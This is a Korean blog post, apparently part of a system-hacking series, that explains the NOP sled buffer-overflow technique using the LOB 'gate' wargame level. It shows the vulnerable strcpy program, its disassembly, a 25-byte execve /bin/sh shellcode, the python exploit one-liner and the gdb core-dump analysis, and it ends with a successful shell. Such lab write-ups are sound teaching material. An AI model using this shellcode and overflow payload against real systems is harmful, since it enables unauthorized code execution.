Buffer Overflow: NOP sled

Sisyphus·2022년 7월 16일
1

System Hacking - ELF 32

목록 보기
1/10

NOP sled는 버퍼 오버플로우 공격을 할 때 shellcode 앞에 NOP를 추가하여 공격하는 기법입니다.

여기서 NOP는 (NO Operation)으로 아무 일도 하지 않는다 라는 명령입니다.

  • NOP 명령을 사용하는 이유는 shellcode의 주소를 정확하게 알기 힘들 경우 RET에 정확한 shellcode의 주소를 입력하여 공격하기 힘듭니다.

  • 하지만 shellcode 앞에 충분한 양의 NOP 값을 넣어주고 RET에 적절한 NOP 주소를 넣어주면 NOP 명령이 쭉 미끄러지듯이 실행되어서 shellcode를 만나면 쉘이 뜨게 할 수 있습니다.

  • 결과적으로 주소에 오차가 있을 때 shellcode의 주소를 직접 찾아서 공격하는 것보다 공격 성공 확률을 높일 수 있습니다.


[LOB] gate 문제로 실습을 해보면

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);	// 크기에 제한 없이 buffer에 argv[1]의 값 복사
    printf("%s\n", buffer);
}

취약한 함수인 strcpy(buffer, argv[1]) 함수를 사용했기 때문에 버퍼 오버플로우 공격이 가능합니다.


먼저 공격을 위해 메모리 구조를 분석해보면

Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100				// 256 Byte 크기의 공간 할당
[gate@localhost gate]$ gdb -q gremlin
(gdb) set disassembly-flavor intel
(gdb) disas main
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]		// eax = argv[0]
0x8048459 <main+41>:	add    %eax,4						// eax = argv[1]
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]		// edx = argv[1]
0x804845e <main+46>:	push   %edx							// push argv[1]
0x804845f <main+47>:	lea    %eax,[%ebp-256]				// eax = ebp-256(str)
0x8048465 <main+53>:	push   %eax							// push str
0x8048466 <main+54>:	call   0x8048370 <strcpy>			// strcpy(str, argv[1])
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]				// eax = str

ShellCode [25 Byte]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

shellcode의 크기는 25 Byte이고 buf부터 EBP까지의 거리는 260 Byte 이기 때문에 NOP[235] + shellcode[25] + Addr[4]로 RET 값을 변조하여 쉘을 띄울 수 있습니다.


먼저 NOP+Shellcode의 주소를 찾아보면

[gate@localhost /tmp]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xe8\xf8\xff\xbf"'`
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ
                                                                                                                             ����
Segmentation fault (core dumped)
[gate@localhost /tmp]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./gremlin ���������������������������������������������������������������������'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff8e8 in ?? ()
(gdb) x/100x $esp
0xbffffa10:     0x00000000      0xbffffa54      0xbffffa60      0x40013868
0xbffffa20:     0x00000002      0x08048380      0x00000000      0x080483a1
0xbffffa30:     0x08048430      0x00000002      0xbffffa54      0x080482e0
0xbffffa40:     0x080484bc      0x4000ae60      0xbffffa4c      0x40013e90
0xbffffa50:     0x00000002      0xbffffb4a      0xbffffb54      0x00000000
0xbffffa60:     0xbffffc5d      0xbffffc66      0xbffffc85      0xbffffca7
0xbffffa70:     0xbffffcb9      0xbffffcc3      0xbffffe86      0xbffffea5
0xbffffa80:     0xbffffebf      0xbffffed4      0xbffffedf      0xbffffef0
0xbffffa90:     0xbffffefd      0xbfffff05      0xbfffff16      0xbfffff24
0xbffffaa0:     0xbfffff32      0xbfffff43      0xbfffff51      0xbfffff5c
0xbffffab0:     0xbfffff6c      0xbfffffd4      0xbfffffe0      0x00000000
0xbffffac0:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffad0:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffae0:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffaf0:     0x00000009      0x08048380      0x0000000b      0x000001f4
0xbffffb00:     0x0000000c      0x000001f4      0x0000000d      0x000001f4
0xbffffb10:     0x0000000e      0x000001f4      0x00000010      0x0f8bfbff
0xbffffb20:     0x0000000f      0xbffffb45      0x00000000      0x00000000
0xbffffb30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb40:     0x00000000      0x38366900      0x2f2e0036      0x6d657267
0xbffffb50:     0x006e696c      0x90909090      0x90909090      0x90909090
0xbffffb60:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb90:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffb60이고 리틀 엔디안 방식으로 변환하면 \x60\xfb\xff\xbf가 됩니다.


익스플로잇 코드를 짜 보면

NOP[235] + shellcode[25] + Addr[4]
`python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`

익스플로잇 코드를 실행시켜보면

[gate@localhost /tmp]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ
                                                                                                                             `���
bash$

공격에 성공해서 쉘이 떴습니다.

0개의 댓글